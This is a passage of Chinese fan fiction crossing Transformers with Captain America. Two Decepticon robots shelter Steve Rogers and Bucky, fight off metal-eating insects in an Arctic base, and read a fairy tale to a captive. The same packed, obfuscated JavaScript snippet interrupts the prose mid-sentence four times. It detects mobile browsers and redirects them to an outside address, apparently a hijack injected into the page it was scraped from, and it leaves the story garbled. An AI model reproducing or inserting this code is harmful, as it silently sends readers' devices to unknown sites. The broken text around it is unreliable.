作为人类,这个男性看起来并不弱小。恰恰相反,他的体格应该算是很坚实,肌肉强健,为战斗而生。他的动作有序,有条不紊,显然他在评估周围环境,寻找出口。 和另一个昏迷不醒的人类有点不同,他比另一个稍微高一些,他头上的毛发是金色的。 他看到了她们。 然后他的目光锁定在风语手中仍然没有醒来的人类身上。 男人的眼神变了,从全然的警惕和防备变得很柔软和怀念。他的声音很轻,有点颤抖,好像怕惊扰了谁的美梦似的:“Bucky?” 风语听不懂,戳了戳照明询问:“巴基?谁他U球的是巴基啊?” 照明加载了一下英语的数据库,同时观察分析着这个人类。 男人的站姿之前是紧绷着的,随时准备奔跑或者发起攻击;现在他从那种预备状态变为静止。 他的嘴唇紧紧抿着,拳头紧握在身体两侧。他的斗志并未消失,但思索着的计划却完全改变了。他最优先的目的已经不是离开这里。 是因为风语手中的另一个人类吗? “让他走。”他在谈判。 他的声音很冷静深沉,带着一种劝说和权威的感觉。 风语问:“所以他是在说话吗?你们在说什么呢?” 照明用赛博坦语快速地解释,然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250160|165761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说:“还好这个人类说英语。你之后必须自己处理自己的麻烦,从下载英语数据库开始。” 既然自己是在场目前唯二能听懂英语的,照明不太情愿地与他对话:“恐怕暂时还不能。你看,他现在都不知道是什么状况,我们这里也没有医生。你也是。” 人类缓缓向前迈了一步,问道:“你是谁?你在一个机器里面,对吧?出来让我看看你。” 照明歪了歪头,一时有些没理解他在说什么:“什么意思?” “我不知道你们是谁,也不知道你们想要什么。但如果你不打算打架,就把我的朋友放下,然后从你的机器里出来。那样我们才能真正地面对面交谈。” “他到底在说什么”的短暂困惑过后,照明恍然大悟。 好吧,可以理解。这可能甚至会是一个常见的误解。 但是照明还是有点不高兴。 她撇嘴,对风语说:“他觉得我们的机体里面有人类。就像人类开飞机或者穿着装甲那样。” 风语想象了一下,晶体管都颤抖了:“那感觉有点诡异。不,是非常诡异。” 照明又转头看向人类:“关于这个嘛……你的名字是什么?” 人类勇敢地仰视着她。“史蒂文·G·罗杰斯。” 好长的名字。人类的名字都那么长吗?四舍五入就叫他史蒂夫吧。 照明继续说:“我叫照明,旁边的叫风语,就是她把你带回来的。你误会了情况。我们,字面意思上的,就是你说的机器。我们里面没有人类。” 史蒂夫的目光在他们之间逡巡。 感受到了他的怀疑,照明索性直接在他面前变了一次形,用直接的证据证明自己的观点。 史蒂夫应该是很惊讶的,照明扫描到他身体的生理反应都有所上升。他自言自语喃喃道:“那么应该不是九头蛇了。” “那是什么?我只知道我们那的首席太空港叫这个名字。” 史蒂夫呼出一口气,思考了一会。 他对此接受得还算良好,没有过度惊慌或者刨根究底,只是迅速转换了谈判策略,双眼依旧盯着他的朋友。 “如果你们不是九头蛇,那你想要什么?” 照明:好问题。 她把问题抛给风语,风语期待地看着她:“我们还需要什么吗?” 照明:“……”所以风语真的没有想过把他们带回来之后要干什么。 照明挠了挠头雕,努力把她们塑造成路见不平伸出援助之手的英雄形象:“虽然看起来很像是绑架之类的,但我的同伴真的只是路过,然后偶然把你们带了回来。” 史蒂夫身体挺直,眼神坚毅。“那么证明给我看。让我们离开。” 照明真的很想就这样答应他的请求。 她瞥了一眼风语手里昏迷不醒的那个“巴基”。她又看向史蒂夫。这个人类被带到一个外星人基地,被关在笼子里过,一无所知地面对两个赛博坦人,但他的眼神仍然闪闪发亮,他的智慧和决心可见一斑。 “抱歉,但是怎么说呢?你们算是被偷渡进来的,我不能让其他机子发现你们在这里……” 风语突然打断他们的对话:“是只有我听到了,还是你们也听见了那种奇怪的声音?” 16. 美国队长 在任何人或者赛博坦人来得及回答之前,一种声音在走廊里回荡,伴随着不知道来自何人的刺耳尖叫。 这回所有人都清晰地听到了。 窸窸窣窣的声音从天花板上响起,介于钢铁摩擦和敲击的声音之间,听起来就像下了一场密集的小雨。 金属制成的墙壁上鼓起了一个小包,照明瞪着墙壁,直到墙壁上的小包变成大包,又花朵般绽开。 细小的小爪子探了出来,四个小爪子上顶着一只大大的圆脑袋和一对好奇的紫色“大眼睛”,颇类似一个造型奇怪但是还挺萌的小台灯。 照明从不知道风语的发声器还能发出那么高的音调来。 风语一边尖叫,一边还能记得把辛苦捡来、目前还昏迷不醒的人类藏进驾驶舱;史蒂夫试图阻止她,奈何惊恐状态下的风语动作太快,他只好眼睁睁地看着巴基被塞进了那台巨大的机甲里。 照明虽然也吓得脑模块短路,但有道是情急之下人往往反而会爆发出巨大的潜力,她麻木地用肩炮瞄准了那只正在装可爱的小生物,颤抖的两发激光过后,第三发终于瞄准了它! 小生物碎成三块,冒着火花,歪倒在地上不动了。 “真是见了U球了啊,这种东西怎么会出现在这里?有人在研究这个吗?”风语说着话压惊,她的机翼猛地立起又落下,宛如一只应激的激光鸟。 照明:“据我所知没有。重要的是,它们为什么会出现在这里?” 史蒂夫并不完全明白这个小东西是什么,但他理解了这两个巨大机器人的反应,那是真正的恐惧。这意味着一件事。 “它不是你们那边的,是吗?那是什么?”史蒂夫严肃地说。 的确也不能指望人类一下子就看出这点。 照明后怕地解释道:“你说得对。它们叫做噬铁虫,会吃掉一切它们遇到的金属。而我们身体的绝大部分就是金属,它们会把我们生吞活剥了的。” 风语催促道:“我们赶紧先离开这里吧,还好只有一只。” 照明却无法被这种乐观的态度所感染。 真的只有一只吗?在赛博坦,大家都知道,当你看到一只噬铁虫的时候,这只往往是它背后浩浩荡荡噬铁虫大军派来的先锋。 之前对K-13的火种进行探测时,线路爆发的电火花和仪器奇怪的失灵似乎也有了答案。 安置K-13的实验室会不会也已经有噬铁虫入侵了? 这份忧虑转瞬即逝。照明知道,隔离仓是特制的材料,并非金属,这反而很好地保护了K-13。只要她安分呆在隔离仓里,噬铁虫就没有办法啃到她。 照明向史蒂夫解释了一下现状。或许只是因为他的好友还受制于人,或许只是看她们俩没有恶意,他相当快速地接受了“先离开再讨论去留问题”的建议,表现得非常通情达理。 她们在内部通讯里向上级发出了紧急报告,然后决定先前往安保部寻求一些帮助。 史蒂夫在离开时又拆了一个废弃箱盖,他手持着把手,把箱盖像盾牌那样拿在身前。这个盾牌对于他来说有点大,像防爆盾那样,遮住了他整个人的大半身体。 照明没有阻止。虽然噬铁虫只吃金属,但没准对人类也会有这样那样的伤害,他能够自卫也是好事。 安保部不在这层,要乘坐载梯向上。 两机的音频接收器都竖了起来,警惕地打探着周围的风吹草动。 风语压低声音建议:“我们可以直接从旁边的通道飞上去,我可不想在载梯里,撞上噬铁虫却无路可逃。” 照明道:“看来我只能爬上去了。” “早告诉过你了。飞机就是最棒的变形形态!” 见风语变了形向上飞去,照明笑着摇了摇头。 她看向史蒂夫,纠结了一下,还是伸手。“史蒂文·G·罗杰斯。我觉得对于人类来说,那个通道可能太高了。你愿意坐在我的肩膀上吗?越快到达安全的地方,我们就能越快解决这一切。” 史蒂夫注视着机器人伸出的手。即使他现在满心疑惑,他的作战经验也告诉他现在没有时间争论或者解释;而且好友还在另一个机器人手中,即使照明不让他跟上,他也会不顾一切地跟过去的。 他果断地点了点头,顺着她的手臂轻松地爬了上去。落在她的肩膀上,他调整了一下新“盾牌”,稳住了自己的平衡。 风语已经先一步飞到上层,可当风语到达上面时,她立即倒吸一口冷气缩进转角,手指颤抖地向照明比划着。 照明探头一看,被眼前地狱般的景象吓了一大跳。 一排排闪亮的金属颚在灯光下闪着寒芒,噬铁虫在此汇聚成一小群。 这群体型小巧类似昆虫的生物,它们的身体以夸张的速度移动,数百只微小的螫齿在金属上刮擦。当它们咀嚼着最近的控制台时,大大的“眼睛”里闪烁着欢欣的紫色光芒。 而且还有一个熟人。炸药。 曾经不可一世的高级研究员几乎要在翻滚的噬铁虫海洋中溺死了,它们用锋利的颚无情地蚕食着他的外装甲。 他挣扎着,咆哮着,疯狂地向虫群开火,但射击毫无准头,大部分只是射中了墙壁,而且在大量的虫群面前显得杯水车薪。噬铁虫们依然源源不断地涌来,用爪子爬上他的装甲。 炸药被吃个精光只是时间问题,连一点电路都不会剩下。 风语都不敢作声,照明读取了她发来的通讯:[我们救他吗?] 照明讨厌炸药,毫无疑问。但看着另一个赛博坦人像这样活着、一点一点被蚕食致死…… 照明回复道:[遇上我们他真他渣的幸运。] —————— 史蒂夫还没来得及多想,一小堆噬铁虫就转而猛扑过来,直奔风语的驾驶舱——巴基就在里面昏迷不醒。 他立即行动,从照明肩膀上纵跃而起,一个漂亮的翻滚后投入战斗。 史蒂夫转身,狠狠一脚踢向迎面扑来的噬铁虫,将它直接踹得在地上滑行,撞上一堆同类。 在它挣扎着恢复之前,他迅速逼近,一把抓住它前肢。金属构成的诡异生物很坚硬,但他低喝一声,猛地一扭,噬铁虫的关节脆裂,肢体被硬生生扯了下来。 他迅速转身,抡起手中刚刚扯下的尖锐金属,狠狠刺向另一只扑过来的噬铁虫,将它直接钉进墙里。 就在这时,第三只噬铁虫扑了上来,锋利的颚部张得大开,直朝照明咬下。它正好落入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265261|165761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 史蒂夫早已等候的双手之间;他猛地发力,用双臂生生将它的下颚撕裂开来。一阵脆响后,噬铁虫的下颚直接从关节处被扯了下来,扭曲着抽搐倒下。 看来这些噬铁虫真的只吃金属,血肉之躯对于它们来说毫无吸引力。 史蒂夫看着照明和风语一边射击,一边扶起已经被啃到破破烂烂的另一个机器人,她们周围的噬铁虫重新聚集,形成黑压压的一片。 这种营救场景让他想到他潜入九头蛇营地救下被俘虏士兵的那一次。 如果这些机器人也有人类的感情,会害怕、会救助自己的同类,那她们似乎并不邪恶,不只是可以沟通解释这一切,还可能成为临时的盟友。 属于美国队长的那一面让他大喊道:“快走!” 机器人们听从了他。 新“盾牌”与原来那个由振金制成的坚固盾牌大相径庭,他知道他没法用它持久作战。 史蒂夫熟练地抡起临时盾牌,瞄准低处,猛地投掷出去! 盾牌在地面上狠狠砸下,反弹起来,精准地切过前排噬铁虫的关节。前方的噬铁虫们顿时失去平衡,成片地绊倒在一起,场面一片混乱。 趁着这短暂的空隙,史蒂夫果断转身冲刺,迅速追向已经撤离的照明和风语。 —————— 照明和风语架着炸药,在走廊里艰难奔跑着。 把炸药从噬铁虫的围攻里拖出来并不容易,不过好在炸药虽然饱受摧残,但还能勉强独立行走。 离安保部不远了,她们迎面撞上一队运输补给归来的量产机。 “快逃!有噬铁虫——” 照明提醒的话音还没落,炸药不知道从哪里爆发出一股力气,挣扎着向前,经过量产机们时反手把他们向后推去。 量产机杂兵的队伍散乱了,当他们看到随之而来的噬铁虫群时,射击声和碰撞声此起彼伏。 有一个小兵被炸药一甩,反应不及地绊倒了,噬铁虫涌动着扑了上来,他连一声尖叫都没来得及发出就被吞没了。 风语光学镜的焦点紧缩:“你刚刚他渣的干了什么?” 炸药顾着向前逃命,毫不在乎道:“不用太感谢我。只是争取时间。” “那是我们的一员!是我的下属!!” 炸药嘶声道:“不。那只是一个批量生产、没有火种的量产机而已。干吗这么在意?” 风语的面甲紧绷,右手已变形成武器。 但有人先她一步。 下一刻,照明手中的激光枪就顶在了炸药的下颌。 炸药的机体僵硬了,他一动也不敢动。 “下次你再敢这么做,”照明的声音异常平静,“我会射穿你所有的关节轴承,然后把你丢进噬铁虫群里。” 炸药可以从照明的眼神里看出,这不是一句轻飘飘的口头威胁。她是真的会这么做。 他看不起照明,连带她载体机的身份一起,把她视为霸天虎队伍里的一个笑话,他也没收到什么除了口头回击之外的后果。 现在看来,她毕竟还是一个霸天虎。 激光枪在他的下颌停留了漫长而痛苦的一段时间,然后照明才收回手。 “滚。”她厉声说道。 17. 虫虫大作战 炸药从善如流地滚了,因为跑得太急还绊了一跤。他没有多说半个字,可能怕说话会耽误了他宝贵的逃命时间。 就这么一耽搁,噬铁虫群又追了上来,有几只已经爬上了照明的腿部。 她又是拍打又是射击,手里的激光枪和肩炮一刻不停地开火,终于把噬铁虫们打了下来。 知道这种专门负责运输货物的小兵没有配备什么好武器,照明指挥道:“撤退!向安保部有序撤退!” 小兵们找到了服从的对象,原本乱成一锅粥的他们在帮助下,大部分摆脱了噬铁虫群,并互相掩护着向安保部移动。 照明和风语殿后,风语靠近她身旁,叫道:“我的能量快不够了!它们杀起来好像没完似的。你有考虑过到安保部之后的作战方案吗?” 照明一笑:“当然。” 她一直思考着,如果不是来自研究所内部,那只可能是有人从外面不小心带回来了这些噬铁虫。它们为什么之前没有侵扰研究所,直到现在才出现? 是温度。 赛博坦人的内部系统会因为极寒而损坏,作为赛博坦生物的噬铁虫也是一样。它们可能之前由于北极圈地区的低温进入了休眠状态,直到进入研究所内部,温度回升,这才逐渐恢复行动能力,开始大肆破坏。 已知不知从何而来的噬铁虫分散在研究所各处,如果要用武器一只只杀死风险太大,也太浪费能量,现在能量本就短缺。 把它们聚集起来毁灭也难度很高,更别提把它们吸引到研究所外重新让它们休眠。 没有一个对它们有足够诱惑力的目标是一方面,另一方面则是研究所内部弯弯绕绕,等把它们引到研究所外了,里面的机子也被吃得差不多了。 但照明想到了一样很合用的东西——爆裂式冷冻液。 这个武器是效仿某位三变战士的天赋能力而制造,但是在发明出来的时候就遭到了很多机子的嘲笑,最终也被黑骑士封存。 因为在作战方面,士兵有了它就像鱼有了自行车,把它喷向汽车人?它需要几纳秒,才能与地球空气发生反应降至负三十度以下,很容易被闪避,即使击中也只要及时抹去即可,除了让敌人胸甲一凉产生摸不着头脑的感觉以外别无用处。 制造它的研究员狡辩说,如果能把汽车人抓到一个坑里,然后往里倒爆裂式冷冻液,绝对能把汽车人的内部系统冻坏,冻完后还能爆裂,将冷气传导到旁边的汽车人产生连锁反应。 据说黑骑士听完气笑了,核善地问她,你有没有想过,你都能把汽车人抓起来了,还用得着费劲倒你那冷冻液吗? 运到前线都嫌浪费能量,那一大堆爆裂式冷冻液还是留在了研究所。照明只希望当时搬到格陵兰岛的时候,那些东西也一并搬了过来。 就在这时,她们战斗的压力陡然一轻,原来是史蒂夫赶了上来。那些噬铁虫和照明猜测的一样,没有理会他,只是越过他向前方的美味食物冲刺,这让他的战斗更加势如破竹。 看到史蒂夫以堪称顶级的格斗技巧,单纯以体术辅之各种捡来的工具横扫虫群,照明不合时宜地疑惑了一下:风语到底捡了什么人类回来啊?超人吗? —————— 她们发送给上级的警告起了作用。 当照明和风语到达安保部的时候,那里的量产机警卫们已经做了准备,严阵以待。 安全主管正在吩咐着,她也是一个量产机,显然没见过这么大的阵仗,但她还是保持着冷静的态度。 看见照明和风语,她向她们点头致意。 照明把她的想法告诉安全主管,安全主管考虑了一会,同意了:“很有意思的理论,我会尝试一下。” 随着她的指挥,警卫们组成一小队一小队分散开,拿着装上了爆裂冷冻液的枪械向研究所各处搜寻而去。 爆裂冷冻液还通过管道送往各个实验室,通过监控生物的活动,进行针对性的喷洒;它的特性不够冻住一个赛博坦人,但冻住一个噬铁虫则是绰绰有余,爆裂之后传导冷气的特殊效果更是一绝。 泽卡莱亚维护着秩序,大部分研究员都已有序撤离了岗位,在研究所外暂避。这时候一个小兵上前对她耳语了几句,她点头,修改了应急方案。很快,就有一批无人机携带着爆裂冷冻液飞入研究所。 隔离区的实验室里,K-13百无聊赖地看着非智能机器人喷洒出奇怪的流体,把张牙舞爪的数只小生物冻得邦邦硬,落在地上。她托腮叹口气,喃喃道:“我还指望你们咬破这个笼子呢。” 行政部门的转角,炸药正焦急地踱步,他没赶上和同事们一起撤离,也不敢回到已经有噬铁虫出没的地方,没错,高层们肯定有专用的逃生通道!这时候,无人机飞了过来,探测到有生物活动,立即喷出爆裂冷冻液。冷冻液喷了炸药一面甲,走廊里回荡着他惊恐万分的尖叫。 研究所的一切逐渐恢复正常。照明和风语小心地带上两个人类,顺着偏僻过道悄悄离开,回到风语的办公室。 房间一片狼藉。设施损坏明显,直接缺失一半的控制台,变成洞洞板的数据板,还有好多箱子被啃破了。噬铁虫的残骸散落在地板上。 风语踢飞了一块正在冒烟的金属片,哀嚎一声:“真是太可怕了。‘垃圾是放错了地方的资源’,我从来没有这么赞同过这句话。” 照明合上门,感慨道:“发明爆裂冷冻液的那家伙,如果看到自己设计的武器投入使用了,估计会很高兴吧……虽然只是用来打虫子。” 风语眨了眨光学镜,带着几分好奇:“你居然知道这个冷冻液是谁发明的?我还以为你只是知道有这个玩意而已。” “她叫月蚀,和我算是同一批下流水线的。厚颜无耻地自称姐姐……也确实比我早醒来一点,也比我早加入霸天虎。” “她现在在哪呢?还在这个研究所吗?” 照明摇摇头,似乎不太在意的样子:“我问过很多人。我来的时候,她已经不在这了。她有很多奇思妙想,应该早就被调去其他地方了吧。” 她没有说出口的是……她也不知道月蚀是否被调走了,甚至不知道她是否还活着。所里关于她的记录,在某个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15277027|165761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间节点就停止了,好像有人特意精心抹去了她在那之后所有的踪迹。 风语也没有追问,而是关心起人类来。史蒂夫也观察着她们。他的制服多处破损了,指关节处也血迹斑斑。 看来人类虽然看起来微小,但是却也具有强大的力量。如果没有这位人类的帮助,她们一路上绝不可能这么顺利。 “多谢你的帮助。你还好吗?”照明真诚地说。 史蒂夫擦去脸上的脏污,与她目光交汇。“我没事。我们也共同经历了一场战斗,现在可以把我的朋友还给我了吗?” 风语连忙把巴基捧出驾驶舱,平放在地上:“他只是还没醒过来,我没有伤害他。照明?” 史蒂夫跪在巴基身旁,试图唤醒他的朋友。 照明看了看躺着的巴基,又看向史蒂夫,最终决定试一试。 高大的变形金刚俯下身,单膝跪地;她温柔地用英语开口,机体上的光带同时以一种温和的频率闪烁着:“醒过来吧。你的朋友史蒂夫还在等你。” 忽明忽暗的光线变换着照射在人类的眼睑上,普神赐予的力量悄然渗透,祈愿的声音像是穿越时间的微风,落入詹姆斯·巴恩斯的意识深处。 片刻的沉寂后,他的手指微微抽动,随即他的眉头皱起,呼吸变得急促起来。 巴基猛地睁开眼。 他茫然地望向天花板,随即侧头寻找熟悉的身影。 “……史蒂夫?”他的嗓音嘶哑,带着迷茫。 史蒂夫握住他的肩膀,目光专注:“巴基?”见朋友清醒过来,他才放下心来,玩笑道:“你睡过了一场精彩的战斗。” “你救了我?我们在哪?我记得的最后一件事是我掉下那趟列车。” 照明没有打断这场感人至深的旧友重逢,而是一直在旁边和风语窸窸窣窣地弄些什么。 见两人看向她们,一个提防,一个无奈,照明结束传输,把风语一推:“语言数据库传输完了。这回,自己惹的麻烦自己解决。” 照明前往门口看守,防止有机误闯进来发现她们在窝藏人类。 等她返回室内,风语已经差不多把事情解释清楚了,一脸忐忑地看着其他人。 巴基总结情况:“好吧所以,我从列车上掉下去,然后一睁眼,发现被人形机器外星人救了?” “情况大概就是这样。” “天啊。”巴基的头向后一仰,一脸生无可恋,“那我现在是个老头子了?” 有人一起分担这份跨越时代的孤独,会让现实带来的冲击力来得不那么残忍。史蒂夫拍了拍巴基的肩膀,还有心情开玩笑:“庆幸的是我们看起来保养得还不错。” 巴基耸耸肩:“看情况,我们已经不在美国了。” “没错。”照明补充道:“但我们会想办法,找个运输船什么的送你们回家。如果你们愿意现在就冲出去,在北极的冰雪里自力更生,那也行,但是我强烈不建议。” 巴基看向史蒂夫,后者看着他,两人同时叹了口气。 “好,我们暂时留下。” 18. 童话(待修) 风语的办公室就这样成为了安置人类的窝点。 作为为数不多的知情者,照明自然也承担了一部分照管责任。她答应风语会在她借出外勤的机会给他们带回北极动物食用时,抽空来后勤部看看这两位人类。 挂在芯头的事情又多了一件,但考虑到史蒂夫之前帮了大忙,照明也没再计较风语当初擅自带人类回来这件事。 说到底,她对那两位人类其实还有几分歉意。据她所知,人类无法像变形金刚一样依靠食用能量块维生,所以史蒂夫和巴基只能像爱斯基摩人那样,以鱼类为主食。 她对待他们的态度更像是对待两位客人,睁一只光学镜闭一只光学镜。虽然照明不清楚他们过去的身份,但对他们偶尔在研究所内四处打探的行为,她并未制止,只是叮嘱他们千万别被发现了。 况且巴基后来也展示出了绝佳的战斗力,照明觉得她无需太过担心他们的安全,只是默默思考着该怎么把他们送回家。 这个周期就这样慌乱地落下帷幕。 K-13的实验室算是遭受虫灾比较小的区域,因此也没有其他部门那样乱;换句话说,高层没有打算要给照明调几个机子来帮一下忙,哪怕是多分几台非智能医疗机器人过来。 照明只好自力更生。 因为噬铁虫,很多新的工作冒出头来,还好数据大多有备份,不然照明是真要一口能量液喷在终端前。 K-13看着照明忙碌,愉悦地说:“我很高兴你回来了,刚好在我开始担心你的时候。” 照明手上一顿,眼神飘忽了一下:“只是比预想中绕了更多的远路。” “这些小东西是什么?和你刚刚的绕远路有关吗?” “只是一些无关紧要的小虫子而已。” K-13又适可而止地不再追问了,转移话题:“话说,等你做完那些东西之后,你该不会打算不认账了吧?” 她语气里带着一点点委屈和更多的调侃:“我可是认真等着你履行之前的承诺的。” 啊,那个“补偿”。 照明当然记得她离开前答应过的事。她只是没想到K-13会真心实意地期待着。 她是真的想听故事吗?还是又在用这种温吞的方式捉弄或者试探她?可无论哪种,她都不想让对方看出自己有点在意。 照明拿出一个数据板,决定按照和K-13的约定,念一些传说故事来打发时间。 赛博坦人可以直接读取数据,但是像碳基一样阅读别有一番趣味。 “好吧,那我就随便讲一点吧。”她努力让语气听起来不太认真,好像这只是件微不足道的小事。 只有照明自己知道,心里其实有点莫名的不自在。不情愿?还是……说不清的情绪。 *** 这是一个很久很久以前的故事,久到赛博坦的黄金时代还没开始,久到那场可怖的大灾变还没降临赛博坦的时候。 在围绕赛博坦公转的一个偏远行星里,住着一个名叫漫游(wander)的小型变形金刚。 她的变形形态是一个很普通的迷你无人机。或许是她刚刚脱离磨合期的缘故,她初始的两足形态要比大多数的机子都要小上一圈。 她常常被周围更大、更强的机子忽视或者欺负,但是机体的矮小从来没有让她沮丧,也从来没有阻碍过她的好奇心。 她接受自己的初始形态和变形形态,因为她爱自己、也接纳自己。她坚信自己和其他的变形金刚是平等的,大家只是有外表上的区别;既然都是火种源的创造,那也都应该拥有获得幸福的权利。 在空闲的时候漫游喜欢飞翔。 她喜欢慢悠悠地飞行着旅游,飞过辽阔无垠的金属平原,感受凉丝丝的微风在她机翼下掠过,看着机械鹿一群群地自由奔跑着。她也喜欢进行高难度的飞行,擦过能量河流,在河流转为瀑布的时候一飞冲天。 漫游的好奇心让她见到了很多机子都没有见到过的风景。每当她有空的时候,她都会对这个星球进行探索。 在一轮周期,漫游在追逐采集新盛开的水晶花时,不小心离开城市太远了。 她高兴地采集了很多很多水晶花,有各种各样的颜色。虽然水晶花只能开一个分循环,但是漫游把它们转瞬即逝的美丽都存在了自己的记忆库里。 她就这样开心地采着花,还不由自主地哼着歌,沉浸得都忘记了时间。当她意识到自己的能量储备不够的时候,飞回去已经来不及了。这片区域的地形很崎岖,能量河没有流经这里,她也没有带能量块。 当漫游无奈地想要用两条腿走回家里时,一个阴影笼罩了她。 那是一只巨狰狞——一个由金属和火焰构成的巨大生物,拥有锋利的爪子和像超级能量晶体一样发光的光学镜。 漫游停下了脚步。她一点也不感到害怕,因为她的处理器已经被这个美丽又强大的生物给惊艳了。 巨狰狞的变形形态是那么巨大而威猛,不会被任何人忽视,更没有任何人敢欺负。 多么迷人啊! 不过下一纳秒,漫游就想起更老的变形金刚对她说过的话。巨狰狞是为毁灭而生的、无情且恐怖的生物。大城市都害怕它们,即使是最强的变形金刚在它们的领地上也小心翼翼。 巨狰狞低下头,低吼着说道:“小家伙,你在这里干什么?” 它的声音很大,像闪电过后的惊雷一样炸响在空气中。 漫游以为她要被袭击了,她匆忙变回无人机形态,想要逃跑。 但随后,发生了一件奇怪的事情。巨狰狞没有扑过来,没有咆哮,也没有攻击。它只是看着她,它的光学镜闪闪发亮,带着好奇。 “哼……你和其他变形金刚不一样。” 漫游颤抖了一下,大着胆子问:“你是什么意思?” “那些进入我的领地的人通常带着武器,而不是这些美丽的水晶花。” 漫游眨了眨眼。因为日常工作中用不上,所以她没有配备武器的习惯。而伴随着刚刚的仓促变形,采集到的水晶花散落在地上。 她和巨狰狞一时间都没有说话,只是看着地上的水晶花在一个分循环里静静地枯萎了,晶体逐渐破碎,最后化为细小的粒子消散在空气中。 巨狰狞呼出一口气,蒸汽从通风口嘶嘶作响:“你为什么来到这里,小家伙?是迷路了吗?这里偏远荒芜,一般人可不会来这里。” 漫游向巨狰狞讲述了自己为追逐盛开的水晶花飞来这里,却缺乏能量储备回不去的事情。 巨狰狞建议道:“或许我能送你回去。” 漫游愉快地接受了巨狰狞的好意。她抓住巨狰狞,坐在她的双翼之间,她们一起飞回城市。但是巨狰狞还没到城市的边缘就远远地停下了,降落在了一个隐蔽的角落里。 “我只能送你到这里了,小家伙。” “谢谢你!”漫游感激地说。 随即她按捺不住好奇心,问道:“我还是第一次见到巨狰狞。你为什么一个人在那样的荒郊野外呢?” “我们这一族类统治着天空,我们令人畏惧。赏金猎人猎杀我们,很多势力想把我们作为争霸的工具。相比于被伤害或者去伤害别人,我宁可隐藏在这个世界的阴暗角落。” “这就是你为什么独自一人的原因吗?” 在很长的一段时间里,巨狰狞都保持沉默。然后,她发出低沉的咕哝声,说道:“是的,小家伙。就是这样。” 漫游沉思着,她知道被忽视、孤独一人的感觉。 “也许,”她犹豫地说,“你不用永远地孤独下去。虽然我只是一个小型无人机,但是如果你愿意,我想当你的朋友。” 巨狰狞好像吃了一惊。伴随着一阵库库咔咔七七的变形声,她变形站立在漫游面前。 她看起来和任何一个普通的赛博坦人没有本质上的区别,只是看起来更强壮、更凶猛。 巨狰狞缓慢地伸出手,不确定地微笑着,试图显得更友好:“你是一个奇怪的小家伙。” 漫游回握上巨狰狞的手,她的发动机因为高兴轻声轰鸣着。“我经常听到这样的话。我叫漫游。你呢?” “我没有名字。”巨狰狞却这样回答,她的语气显得有些伤感:“一个人生活不需要名字。” “但是现在你有我啦。” 漫游安慰朋友:“有一个名字是很有意义的事情。有人会按照自己的变形形态给自己命名,有人则是用特殊的能力或者功能给自己取名字。还有人是根据自己的爱好,比如说我,我喜欢到处探险,所以我给自己取名叫漫游。” 巨狰狞沉思了一会,说:“我经常会在一个周期快结束时飞到山顶,看宇宙中的彗星划过赛博坦的样子。” “天星(skystar)!”漫游脱口而出。 “天星?” “这个名字怎么样?我觉得很适合你。” “这是一个很美的名字......我很喜欢。” 就这样,巨狰狞从此有了一个名字。 在赛博坦一个城市的边缘,一个小巧的无人机和一个强大的巨狰狞在星光下成为了朋友。一个是为探索而造,另一个是为战争而造,但从那晚开始,她们都不再孤单。 *** 读完后照明有点尴尬。 为了防止被剧透她只是粗糙地扫描了一下阅读的内容,发现是和巨狰狞有关就拿来当睡前读物。这个故事好像对于K-13和她来说都有点幼稚了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15289163|165761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 不过转瞬她又理直气壮起来。有故事听就很不错了!哪怕是打发一下时间也好啊!在这个无聊的实验室里K-13还有条件挑三拣四的吗! 于是照明清了清发声器,一边收好数据板,一边偷瞄K-13。 出乎照明意料,K-13倒是没有像她预判的一样,对这个故事发表什么讽刺的评论,比如“真甜蜜。我都要感动得流清洗液了——如果我是幼生体的话”,而是盯着天花板神游,目光没有焦点。 好吧,或许她在意识到这是一个童话的时候就没有继续听了呢。 照明也就不把短暂的尴尬放在芯上了,转而打开终端愁眉苦脸编造汇报。 没有助手虽然自由,但就是这点不好,很多文书工作和程序审核都要亲力亲为。 “那个故事挺可爱的。”K-13打破了沉默。 照明惊讶地看着她:“我以为你会觉得很幼稚。” 